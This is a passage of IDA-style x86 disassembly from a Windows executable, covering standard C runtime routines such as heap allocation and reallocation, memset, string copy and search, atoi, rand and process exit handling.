loc_41B95F: ; CODE XREF: sub_41B8EA+49j
; sub_41B8EA+50j
cmp ecx, [ebp+arg_C]
jb short loc_41B992
cmp [ebp+arg_C], 0
mov eax, ecx
jz short loc_41B975
xor edx, edx
div [ebp+arg_C]
mov eax, ecx
sub eax, edx
loc_41B975: ; CODE XREF: sub_41B8EA+80j
push eax
push ebx
push dword ptr [esi+10h]
call sub_41F91C
add esp, 0Ch
test eax, eax
jz short loc_41B9BC
cmp eax, 0FFFFFFFFh
jz short loc_41B9C2
sub [ebp+arg_0], eax
add ebx, eax
jmp short loc_41B9AA
; ---------------------------------------------------------------------------
loc_41B992: ; CODE XREF: sub_41B8EA+78j
push esi
call sub_41F843
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41B9C6
mov [ebx], al
mov eax, [esi+18h]
inc ebx
dec [ebp+arg_0]
mov [ebp+arg_C], eax
loc_41B9AA: ; CODE XREF: sub_41B8EA+73j
; sub_41B8EA+A6j
cmp [ebp+arg_0], 0
jnz loc_41B92A
mov eax, [ebp+arg_8]
loc_41B9B7: ; CODE XREF: sub_41B8EA+1Fj
; sub_41B8EA+E6j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41B9BC: ; CODE XREF: sub_41B8EA+9Aj
or dword ptr [esi+0Ch], 10h
jmp short loc_41B9C6
; ---------------------------------------------------------------------------
loc_41B9C2: ; CODE XREF: sub_41B8EA+9Fj
or dword ptr [esi+0Ch], 20h
loc_41B9C6: ; CODE XREF: sub_41B8EA+B2j
; sub_41B8EA+D6j
mov eax, edi
xor edx, edx
sub eax, [ebp+arg_0]
div [ebp+arg_4]
jmp short loc_41B9B7
sub_41B8EA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B9D2 proc near ; CODE XREF: sub_4010C2+2Cp
; sub_41D7A3+35p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 0
push ebx
push esi
push edi
jnz short loc_41B9ED
push [ebp+arg_4]
call sub_41BCA5
pop ecx
jmp loc_41BC6D
; ---------------------------------------------------------------------------
loc_41B9ED: ; CODE XREF: sub_41B9D2+Bj
mov esi, [ebp+arg_4]
test esi, esi
jnz short loc_41BA02
push [ebp+arg_0]
call sub_41B881
pop ecx
jmp loc_41BC6B
; ---------------------------------------------------------------------------
loc_41BA02: ; CODE XREF: sub_41B9D2+20j
mov eax, dword_4DF6C8
cmp eax, 3
jnz loc_41BB12
loc_41BA10: ; CODE XREF: sub_41B9D2+12Ej
xor edi, edi
cmp esi, 0FFFFFFE0h
ja loc_41BAEE
push [ebp+arg_0]
call sub_41E677
mov ebx, eax
pop ecx
test ebx, ebx
jz loc_41BAC9
cmp esi, dword_4DF6C0
ja short loc_41BA82
mov edi, [ebp+arg_0]
push esi
push edi
push ebx
call sub_41EE80
add esp, 0Ch
test eax, eax
jnz short loc_41BA7E
push esi
call sub_41E9CB
mov edi, eax
pop ecx
test edi, edi
jz short loc_41BA82
mov ebx, [ebp+arg_0]
mov eax, [ebx-4]
dec eax
cmp eax, esi
jb short loc_41BA62
mov eax, esi
loc_41BA62: ; CODE XREF: sub_41B9D2+8Cj
push eax
push ebx
push edi
call near ptr sub_41CAE0
push ebx
call sub_41E677
push [ebp+arg_0]
mov ebx, eax
push ebx
call sub_41E6A2
add esp, 18h
loc_41BA7E: ; CODE XREF: sub_41B9D2+74j
test edi, edi
jnz short loc_41BAC5
loc_41BA82: ; CODE XREF: sub_41B9D2+62j
; sub_41B9D2+81j
test esi, esi
jnz short loc_41BA89
push 1
pop esi
loc_41BA89: ; CODE XREF: sub_41B9D2+B2j
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push 0
push dword_4DF6C4
call dword_428148 ; RtlAllocateHeap
mov edi, eax
test edi, edi
jz short loc_41BAC5
mov ecx, [ebp+arg_0]
mov eax, [ecx-4]
dec eax
cmp eax, esi
jb short loc_41BAB1
mov eax, esi
loc_41BAB1: ; CODE XREF: sub_41B9D2+DBj
push eax
push ecx
push edi
call near ptr sub_41CAE0
push [ebp+arg_0]
push ebx
call sub_41E6A2
add esp, 14h
loc_41BAC5: ; CODE XREF: sub_41B9D2+AEj
; sub_41B9D2+D0j
test ebx, ebx
jnz short loc_41BAEA
loc_41BAC9: ; CODE XREF: sub_41B9D2+56j
test esi, esi
jnz short loc_41BAD0
push 1
pop esi
loc_41BAD0: ; CODE XREF: sub_41B9D2+F9j
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push [ebp+arg_0]
push 0
push dword_4DF6C4
call dword_42819C ; RtlReAllocateHeap
mov edi, eax
loc_41BAEA: ; CODE XREF: sub_41B9D2+F5j
test edi, edi
jnz short loc_41BB0B
loc_41BAEE: ; CODE XREF: sub_41B9D2+43j
cmp dword_4DE0B4, 0
jz short loc_41BB0B
push esi
call sub_41FB12
test eax, eax
pop ecx
jnz loc_41BA10
jmp loc_41BC6B
; ---------------------------------------------------------------------------
loc_41BB0B: ; CODE XREF: sub_41B9D2+11Aj
; sub_41B9D2+123j ...
mov eax, edi
jmp loc_41BC6D
; ---------------------------------------------------------------------------
loc_41BB12: ; CODE XREF: sub_41B9D2+38j
cmp eax, 2
jnz loc_41BC2D
cmp esi, 0FFFFFFE0h
ja short loc_41BB2F
test esi, esi
jbe short loc_41BB2C
add esi, 0Fh
and esi, 0FFFFFFF0h
jmp short loc_41BB2F
; ---------------------------------------------------------------------------
loc_41BB2C: ; CODE XREF: sub_41B9D2+150j
push 10h
pop esi
loc_41BB2F: ; CODE XREF: sub_41B9D2+14Cj
; sub_41B9D2+158j ...
xor edi, edi
cmp esi, 0FFFFFFE0h
ja loc_41BC0F
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_4]
push eax
push [ebp+arg_0]
call sub_41F3D2
mov ebx, eax
add esp, 0Ch
test ebx, ebx
jz loc_41BBF3
cmp esi, dword_43EFE4
jnb short loc_41BBB7
mov edi, esi
shr edi, 4
push edi
push ebx
push [ebp+arg_4]
push [ebp+var_4]
call sub_41F79A
add esp, 10h
test eax, eax
jz short loc_41BB7D
mov edi, [ebp+arg_0]
jmp short loc_41BBAF
; ---------------------------------------------------------------------------
loc_41BB7D: ; CODE XREF: sub_41B9D2+1A4j
push edi
call sub_41F46E
mov edi, eax
pop ecx
test edi, edi
jz short loc_41BBB7
movzx eax, byte ptr [ebx]
shl eax, 4
cmp eax, esi
jb short loc_41BB96
mov eax, esi
loc_41BB96: ; CODE XREF: sub_41B9D2+1C0j
push eax
push [ebp+arg_0]
push edi
call near ptr sub_41CAE0
push ebx
push [ebp+arg_4]
push [ebp+var_4]
call sub_41F429
add esp, 18h
loc_41BBAF: ; CODE XREF: sub_41B9D2+1A9j
test edi, edi
jnz loc_41BB0B
loc_41BBB7: ; CODE XREF: sub_41B9D2+18Bj
; sub_41B9D2+1B6j
push esi
push 0
push dword_4DF6C4
call dword_428148 ; RtlAllocateHeap
mov edi, eax
test edi, edi
jz short loc_41BC0F
movzx eax, byte ptr [ebx]
shl eax, 4
cmp eax, esi
jb short loc_41BBD8
mov eax, esi
loc_41BBD8: ; CODE XREF: sub_41B9D2+202j
push eax
push [ebp+arg_0]
push edi
call near ptr sub_41CAE0
push ebx
push [ebp+arg_4]
push [ebp+var_4]
call sub_41F429
add esp, 18h
jmp short loc_41BC07
; ---------------------------------------------------------------------------
loc_41BBF3: ; CODE XREF: sub_41B9D2+17Fj
push esi
push [ebp+arg_0]
push 0
push dword_4DF6C4
call dword_42819C ; RtlReAllocateHeap
mov edi, eax
loc_41BC07: ; CODE XREF: sub_41B9D2+21Fj
test edi, edi
jnz loc_41BB0B
loc_41BC0F: ; CODE XREF: sub_41B9D2+162j
; sub_41B9D2+1F8j
cmp dword_4DE0B4, 0
jz loc_41BB0B
push esi
call sub_41FB12
test eax, eax
pop ecx
jnz loc_41BB2F
jmp short loc_41BC6B
; ---------------------------------------------------------------------------
loc_41BC2D: ; CODE XREF: sub_41B9D2+143j
; sub_41B9D2+297j
xor eax, eax
cmp esi, 0FFFFFFE0h
ja short loc_41BC57
test esi, esi
jnz short loc_41BC3B
push 1
pop esi
loc_41BC3B: ; CODE XREF: sub_41B9D2+264j
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push [ebp+arg_0]
push 0
push dword_4DF6C4
call dword_42819C ; RtlReAllocateHeap
test eax, eax
jnz short loc_41BC6D
loc_41BC57: ; CODE XREF: sub_41B9D2+260j
cmp dword_4DE0B4, 0
jz short loc_41BC6D
push esi
call sub_41FB12
test eax, eax
pop ecx
jnz short loc_41BC2D
loc_41BC6B: ; CODE XREF: sub_41B9D2+2Bj
; sub_41B9D2+134j ...
xor eax, eax
loc_41BC6D: ; CODE XREF: sub_41B9D2+16j
; sub_41B9D2+13Bj ...
pop edi
pop esi
pop ebx
leave
retn
sub_41B9D2 endp
; =============== S U B R O U T I N E =======================================
sub_41BC72 proc near ; CODE XREF: sub_41BC92+Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
call sub_41FC9D
test eax, eax
jnz short loc_41BC7C
retn
; ---------------------------------------------------------------------------
loc_41BC7C: ; CODE XREF: sub_41BC72+7j
push eax
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_41FB2D
add esp, 10h
retn
sub_41BC72 endp
; =============== S U B R O U T I N E =======================================
sub_41BC92 proc near ; CODE XREF: sub_4010C2+18p
; sub_401B66+57DCp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 40h
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_41BC72
add esp, 0Ch
retn
sub_41BC92 endp
; =============== S U B R O U T I N E =======================================
sub_41BCA5 proc near ; CODE XREF: sub_4010C2+6p
; sub_40AA3C+5Fp ...
arg_0 = dword ptr 4
push dword_4DE0B4
push [esp+4+arg_0]
call sub_41BCB7
pop ecx
pop ecx
retn
sub_41BCA5 endp
; =============== S U B R O U T I N E =======================================
sub_41BCB7 proc near ; CODE XREF: sub_41BCA5+Ap
; sub_41D795+6p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0FFFFFFE0h
ja short loc_41BCE0
loc_41BCBE: ; CODE XREF: sub_41BCB7+27j
push [esp+arg_0]
call sub_41BCE3
test eax, eax
pop ecx
jnz short locret_41BCE2
cmp [esp+arg_4], eax
jz short locret_41BCE2
push [esp+arg_0]
call sub_41FB12
test eax, eax
pop ecx
jnz short loc_41BCBE
loc_41BCE0: ; CODE XREF: sub_41BCB7+5j
xor eax, eax
locret_41BCE2: ; CODE XREF: sub_41BCB7+13j
; sub_41BCB7+19j
retn
sub_41BCB7 endp
; =============== S U B R O U T I N E =======================================
sub_41BCE3 proc near ; CODE XREF: sub_41BCB7+Bp
arg_0 = dword ptr 4
mov eax, dword_4DF6C8
push esi
mov esi, [esp+4+arg_0]
cmp eax, 3
jnz short loc_41BD07
cmp esi, dword_4DF6C0
ja short loc_41BD39
push esi
call sub_41E9CB
test eax, eax
pop ecx
jz short loc_41BD39
pop esi
retn
; ---------------------------------------------------------------------------
loc_41BD07: ; CODE XREF: sub_41BCE3+Dj
cmp eax, 2
jnz short loc_41BD39
mov eax, [esp+4+arg_0]
test eax, eax
jz short loc_41BD1C
lea esi, [eax+0Fh]
and esi, 0FFFFFFF0h
jmp short loc_41BD1F
; ---------------------------------------------------------------------------
loc_41BD1C: ; CODE XREF: sub_41BCE3+2Fj
push 10h
pop esi
loc_41BD1F: ; CODE XREF: sub_41BCE3+37j
cmp esi, dword_43EFE4
ja short loc_41BD46
mov eax, esi
shr eax, 4
push eax
call sub_41F46E
test eax, eax
pop ecx
jnz short loc_41BD55
jmp short loc_41BD46
; ---------------------------------------------------------------------------
loc_41BD39: ; CODE XREF: sub_41BCE3+15j
; sub_41BCE3+20j ...
test esi, esi
jnz short loc_41BD40
push 1
pop esi
loc_41BD40: ; CODE XREF: sub_41BCE3+58j
add esi, 0Fh
and esi, 0FFFFFFF0h
loc_41BD46: ; CODE XREF: sub_41BCE3+42j
; sub_41BCE3+54j
push esi
push 0
push dword_4DF6C4
call dword_428148 ; RtlAllocateHeap
loc_41BD55: ; CODE XREF: sub_41BCE3+52j
pop esi
retn
sub_41BCE3 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41BD60 proc near ; CODE XREF: sub_401132+3Cp
; sub_401132+4Ap ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_8]
mov ecx, [esp+arg_0]
test edx, edx
jz short loc_41BDB3
xor eax, eax
mov al, [esp+arg_4]
push edi
mov edi, ecx
cmp edx, 4
jb short loc_41BDA7
neg ecx
and ecx, 3
jz short loc_41BD89
sub edx, ecx
loc_41BD83: ; CODE XREF: sub_41BD60+27j
mov [edi], al
inc edi
dec ecx
jnz short loc_41BD83
loc_41BD89: ; CODE XREF: sub_41BD60+1Fj
mov ecx, eax
shl eax, 8
add eax, ecx
mov ecx, eax
shl eax, 10h
add eax, ecx
mov ecx, edx
and edx, 3
shr ecx, 2
jz short loc_41BDA7
rep stosd
test edx, edx
jz short loc_41BDAD
loc_41BDA7: ; CODE XREF: sub_41BD60+18j
; sub_41BD60+3Fj ...
mov [edi], al
inc edi
dec edx
jnz short loc_41BDA7
loc_41BDAD: ; CODE XREF: sub_41BD60+45j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41BDB3: ; CODE XREF: sub_41BD60+Aj
mov eax, [esp+arg_0]
retn
sub_41BD60 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41BDC0 proc near ; CODE XREF: sub_401252+4F4p
; sub_401252+510p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz short loc_41BE43
push esi
push ebx
mov ebx, ecx
mov esi, [esp+0Ch+arg_4]
test esi, 3
mov edi, [esp+0Ch+arg_0]
jnz short loc_41BDE4
shr ecx, 2
jnz short loc_41BE51
jmp short loc_41BE05
; ---------------------------------------------------------------------------
loc_41BDE4: ; CODE XREF: sub_41BDC0+1Bj
; sub_41BDC0+37j
mov al, [esi]
inc esi
mov [edi], al
inc edi
dec ecx
jz short loc_41BE12
test al, al
jz short loc_41BE1A
test esi, 3
jnz short loc_41BDE4
mov ebx, ecx
shr ecx, 2
jnz short loc_41BE51
loc_41BE00: ; CODE XREF: sub_41BDC0+8Fj
and ebx, 3
jz short loc_41BE12
loc_41BE05: ; CODE XREF: sub_41BDC0+22j
; sub_41BDC0+50j
mov al, [esi]
inc esi
mov [edi], al
inc edi
test al, al
jz short loc_41BE3E
dec ebx
jnz short loc_41BE05
loc_41BE12: ; CODE XREF: sub_41BDC0+2Bj
; sub_41BDC0+43j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41BE1A: ; CODE XREF: sub_41BDC0+2Fj
test edi, 3
jz short loc_41BE34
loc_41BE22: ; CODE XREF: sub_41BDC0+72j
mov [edi], al
inc edi
dec ecx
jz loc_41BEB6
test edi, 3
jnz short loc_41BE22
loc_41BE34: ; CODE XREF: sub_41BDC0+60j
mov ebx, ecx
shr ecx, 2
jnz short loc_41BEA7
loc_41BE3B: ; CODE XREF: sub_41BDC0+7Fj
; sub_41BDC0+F4j
mov [edi], al
inc edi
loc_41BE3E: ; CODE XREF: sub_41BDC0+4Dj
dec ebx
jnz short loc_41BE3B
pop ebx
pop esi
loc_41BE43: ; CODE XREF: sub_41BDC0+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41BE49: ; CODE XREF: sub_41BDC0+A9j
; sub_41BDC0+C1j
mov [edi], edx
add edi, 4
dec ecx
jz short loc_41BE00
loc_41BE51: ; CODE XREF: sub_41BDC0+20j
; sub_41BDC0+3Ej
mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_41BE49
test dl, dl
jz short loc_41BE9B
test dh, dh
jz short loc_41BE91
test edx, 0FF0000h
jz short loc_41BE87
test edx, 0FF000000h
jnz short loc_41BE49
mov [edi], edx
jmp short loc_41BE9F
; ---------------------------------------------------------------------------
loc_41BE87: ; CODE XREF: sub_41BDC0+B9j
and edx, 0FFFFh
mov [edi], edx
jmp short loc_41BE9F
; ---------------------------------------------------------------------------
loc_41BE91: ; CODE XREF: sub_41BDC0+B1j
and edx, 0FFh
mov [edi], edx
jmp short loc_41BE9F
; ---------------------------------------------------------------------------
loc_41BE9B: ; CODE XREF: sub_41BDC0+ADj
xor edx, edx
mov [edi], edx
loc_41BE9F: ; CODE XREF: sub_41BDC0+C5j
; sub_41BDC0+CFj ...
add edi, 4
xor eax, eax
dec ecx
jz short loc_41BEB1
loc_41BEA7: ; CODE XREF: sub_41BDC0+79j
xor eax, eax
loc_41BEA9: ; CODE XREF: sub_41BDC0+EFj
mov [edi], eax
add edi, 4
dec ecx
jnz short loc_41BEA9
loc_41BEB1: ; CODE XREF: sub_41BDC0+E5j
and ebx, 3
jnz short loc_41BE3B
loc_41BEB6: ; CODE XREF: sub_41BDC0+66j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_41BDC0 endp
; =============== S U B R O U T I N E =======================================
sub_41BEBE proc near ; CODE XREF: sub_41BF49+4p
; sub_42501C+1A2p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
loc_41BEC6: ; CODE XREF: sub_41BEBE+34j
cmp dword_43F1F4, 1
jle short loc_41BEDE
movzx eax, byte ptr [edi]
push 8
push eax
call sub_41FD15
pop ecx
pop ecx
jmp short loc_41BEED
; ---------------------------------------------------------------------------
loc_41BEDE: ; CODE XREF: sub_41BEBE+Fj
movzx eax, byte ptr [edi]
mov ecx, off_43EFE8
mov al, [ecx+eax*2]
and eax, 8
loc_41BEED: ; CODE XREF: sub_41BEBE+1Ej
test eax, eax
jz short loc_41BEF4
inc edi
jmp short loc_41BEC6
; ---------------------------------------------------------------------------
loc_41BEF4: ; CODE XREF: sub_41BEBE+31j
movzx esi, byte ptr [edi]
inc edi
cmp esi, 2Dh
mov ebp, esi
jz short loc_41BF04
cmp esi, 2Bh
jnz short loc_41BF08
loc_41BF04: ; CODE XREF: sub_41BEBE+3Fj
movzx esi, byte ptr [edi]
inc edi
loc_41BF08: ; CODE XREF: sub_41BEBE+44j
xor ebx, ebx
loc_41BF0A: ; CODE XREF: sub_41BEBE+7Bj
cmp dword_43F1F4, 1
jle short loc_41BF1F
push 4
push esi
call sub_41FD15
pop ecx
pop ecx
jmp short loc_41BF2A
; ---------------------------------------------------------------------------
loc_41BF1F: ; CODE XREF: sub_41BEBE+53j
mov eax, off_43EFE8
mov al, [eax+esi*2]
and eax, 4
loc_41BF2A: ; CODE XREF: sub_41BEBE+5Fj
test eax, eax
jz short loc_41BF3B
lea eax, [ebx+ebx*4]
lea ebx, [esi+eax*2-30h]
movzx esi, byte ptr [edi]
inc edi
jmp short loc_41BF0A
; ---------------------------------------------------------------------------
loc_41BF3B: ; CODE XREF: sub_41BEBE+6Ej
cmp ebp, 2Dh
mov eax, ebx
jnz short loc_41BF44
neg eax
loc_41BF44: ; CODE XREF: sub_41BEBE+82j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41BEBE endp
; =============== S U B R O U T I N E =======================================
sub_41BF49 proc near ; CODE XREF: sub_401252+2F7p
; sub_401B66+6A9p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_41BEBE
pop ecx
retn
sub_41BF49 endp
; =============== S U B R O U T I N E =======================================
sub_41BF54 proc near ; CODE XREF: .packed:0041E1C6p
mov eax, off_43CF8C
test eax, eax
jz short loc_41BF5F
call eax ; sub_41CF18
loc_41BF5F: ; CODE XREF: sub_41BF54+7j
push offset dword_42A034
push offset dword_42A020
call sub_41C03C
push offset dword_42A01C
push offset dword_42A000
call sub_41C03C
add esp, 10h
retn
sub_41BF54 endp
; =============== S U B R O U T I N E =======================================
sub_41BF81 proc near ; CODE XREF: .packed:0041E205p
arg_0 = dword ptr 4
push 0
push 0
push [esp+8+arg_0]
call sub_41BFA3
add esp, 0Ch
retn
sub_41BF81 endp
; =============== S U B R O U T I N E =======================================
sub_41BF92 proc near ; CODE XREF: .packed:0041E224p
; sub_41E229+1Cp ...
arg_0 = dword ptr 4
push 0
push 1
push [esp+8+arg_0]
call sub_41BFA3
add esp, 0Ch
retn
sub_41BF92 endp
; =============== S U B R O U T I N E =======================================
sub_41BFA3 proc near ; CODE XREF: sub_41BF81+8p
; sub_41BF92+8p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
push 1
pop edi
cmp dword_4DE074, edi
jnz short loc_41BFC0
push [esp+4+arg_0]
call dword_4280FC ; GetCurrentProcess
push eax
call dword_4280F4 ; TerminateProcess
loc_41BFC0: ; CODE XREF: sub_41BFA3+Aj
cmp [esp+4+arg_4], 0
push ebx
mov ebx, [esp+8+arg_8]
mov dword_4DE070, edi
mov byte_4DE06C, bl
jnz short loc_41C014
mov eax, dword_4DF6DC
test eax, eax
jz short loc_41C003
mov ecx, dword_4DF6D8
push esi
lea esi, [ecx-4]
cmp esi, eax
jb short loc_41C002
loc_41BFEF: ; CODE XREF: sub_41BFA3+5Dj
mov eax, [esi]
test eax, eax
jz short loc_41BFF7
call eax
loc_41BFF7: ; CODE XREF: sub_41BFA3+50j
sub esi, 4
cmp esi, dword_4DF6DC
jnb short loc_41BFEF
loc_41C002: ; CODE XREF: sub_41BFA3+4Aj
pop esi
loc_41C003: ; CODE XREF: sub_41BFA3+3Cj
push offset dword_42A040
push offset dword_42A038
call sub_41C03C
pop ecx
pop ecx
loc_41C014: ; CODE XREF: sub_41BFA3+33j
push offset dword_42A04C
push offset dword_42A044
call sub_41C03C
pop ecx
pop ecx
test ebx, ebx
pop ebx
jnz short loc_41C03A
push [esp+4+arg_0]
mov dword_4DE074, edi
call dword_428068 ; ExitProcess
loc_41C03A: ; CODE XREF: sub_41BFA3+85j
pop edi
retn
sub_41BFA3 endp
; =============== S U B R O U T I N E =======================================
sub_41C03C proc near ; CODE XREF: sub_41BF54+15p
; sub_41BF54+24p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
loc_41C041: ; CODE XREF: sub_41C03C+16j
cmp esi, [esp+4+arg_4]
jnb short loc_41C054
mov eax, [esi]
test eax, eax
jz short loc_41C04F
call eax
loc_41C04F: ; CODE XREF: sub_41C03C+Fj
add esi, 4
jmp short loc_41C041
; ---------------------------------------------------------------------------
loc_41C054: ; CODE XREF: sub_41C03C+9j
pop esi
retn
sub_41C03C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C056 proc near ; CODE XREF: sub_401252+18Fp
; sub_401252+286p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
mov [ebp+var_18], eax
mov [ebp+var_20], eax
lea eax, [ebp+arg_8]
mov [ebp+var_14], 42h
push eax
lea eax, [ebp+var_20]
push [ebp+arg_4]
mov [ebp+var_1C], 7FFFFFFFh
push eax
call sub_41FE9F
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_41C096
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_41C0A3
; ---------------------------------------------------------------------------
loc_41C096: ; CODE XREF: sub_41C056+36j
lea eax, [ebp+var_20]
push eax
push 0
call sub_41FD8A
pop ecx
pop ecx
loc_41C0A3: ; CODE XREF: sub_41C056+3Ej
mov eax, esi
pop esi
leave
retn
sub_41C056 endp
; =============== S U B R O U T I N E =======================================
sub_41C0A8 proc near ; CODE XREF: sub_401252+45p
; sub_401B66+316Ep ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dword_43CF70, eax
retn
sub_41C0A8 endp
; =============== S U B R O U T I N E =======================================
sub_41C0B2 proc near ; CODE XREF: sub_401252:loc_4013AAp
; sub_401252+4DBp ...
mov eax, dword_43CF70
imul eax, 343FDh
add eax, 269EC3h
mov dword_43CF70, eax
sar eax, 10h
and eax, 7FFFh
retn
sub_41C0B2 endp
; =============== S U B R O U T I N E =======================================
sub_41C0D0 proc near ; CODE XREF: sub_401252+12Dp
; sub_401B66+8Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
push edi
push ebx
push esi
mov dl, [ecx]
mov edi, [esp+0Ch+arg_0]
test dl, dl
jz short loc_41C14A
mov dh, [ecx+1]
test dh, dh
jz short loc_41C137
loc_41C0E8: ; CODE XREF: sub_41C0D0+52j
; sub_41C0D0+65j
mov esi, edi
mov ecx, [esp+0Ch+arg_4]
mov al, [edi]
inc esi
cmp al, dl
jz short loc_41C10A
test al, al
jz short loc_41C104
loc_41C0F9: ; CODE XREF: sub_41C0D0+32j
mov al, [esi]
inc esi
loc_41C0FC: ; CODE XREF: sub_41C0D0+3Fj
cmp al, dl
jz short loc_41C10A
test al, al
jnz short loc_41C0F9
loc_41C104: ; CODE XREF: sub_41C0D0+27j
pop esi
pop ebx
pop edi
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41C10A: ; CODE XREF: sub_41C0D0+23j
; sub_41C0D0+2Ej
mov al, [esi]
inc esi
cmp al, dh
jnz short loc_41C0FC
lea edi, [esi-1]
loc_41C114: ; CODE XREF: sub_41C0D0+63j
mov ah, [ecx+2]
test ah, ah
jz short loc_41C143
mov al, [esi]
add esi, 2
cmp al, ah
jnz short loc_41C0E8
mov al, [ecx+3]
test al, al
jz short loc_41C143
mov ah, [esi-1]
add ecx, 2
cmp al, ah
jz short loc_41C114
jmp short loc_41C0E8
; ---------------------------------------------------------------------------
loc_41C137: ; CODE XREF: sub_41C0D0+16j
xor eax, eax
pop esi
pop ebx
pop edi
mov al, dl
jmp loc_41C786
; ---------------------------------------------------------------------------
loc_41C143: ; CODE XREF: sub_41C0D0+49j
; sub_41C0D0+59j
lea eax, [edi-1]
pop esi
pop ebx
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C14A: ; CODE XREF: sub_41C0D0+Fj
mov eax, edi
pop esi
pop ebx
pop edi
retn
sub_41C0D0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C150 proc near ; CODE XREF: sub_401252+11Ap
; sub_401B66+1B9Cp ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = byte ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
mov [ebp+var_18], eax
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
mov [ebp+var_14], 42h
mov [ebp+var_1C], eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_20]
push [ebp+arg_8]
push eax
call sub_41FE9F
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_41C18F
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_41C19C
; ---------------------------------------------------------------------------
loc_41C18F: ; CODE XREF: sub_41C150+35j
lea eax, [ebp+var_20]
push eax
push 0
call sub_41FD8A
pop ecx
pop ecx
loc_41C19C: ; CODE XREF: sub_41C150+3Dj
mov eax, esi
pop esi
leave
retn
sub_41C150 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C1A1 proc near ; CODE XREF: sub_401252+FAp
; sub_401B66+20EEp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
push ebx
call sub_41B7B0
cmp eax, 1
pop ecx
jb short loc_41C1DC
cmp byte ptr [ebx+1], 3Ah
jnz short loc_41C1DC
mov esi, [ebp+arg_4]
test esi, esi
jz short loc_41C1D8
push 2
push ebx
push esi
call sub_420A89
add esp, 0Ch
and byte ptr [esi+2], 0
loc_41C1D8: ; CODE XREF: sub_41C1A1+25j
inc ebx
inc ebx
jmp short loc_41C1E6
; ---------------------------------------------------------------------------
loc_41C1DC: ; CODE XREF: sub_41C1A1+18j
; sub_41C1A1+1Ej
mov eax, [ebp+arg_4]
test eax, eax
jz short loc_41C1E6
and byte ptr [eax], 0
loc_41C1E6: ; CODE XREF: sub_41C1A1+39j
; sub_41C1A1+40j
and [ebp+arg_4], 0
cmp byte ptr [ebx], 0
mov eax, ebx
mov esi, 0FFh
mov [ebp+arg_0], eax
jz short loc_41C25E
loc_41C1F9: ; CODE XREF: sub_41C1A1+87j
mov cl, [eax]
movzx edx, cl
test byte_4DF5A1[edx], 4
jz short loc_41C20A
inc eax
jmp short loc_41C224
; ---------------------------------------------------------------------------
loc_41C20A: ; CODE XREF: sub_41C1A1+64j
cmp cl, 2Fh
jz short loc_41C21E
cmp cl, 5Ch
jz short loc_41C21E
cmp cl, 2Eh
jnz short loc_41C224
mov [ebp+var_4], eax
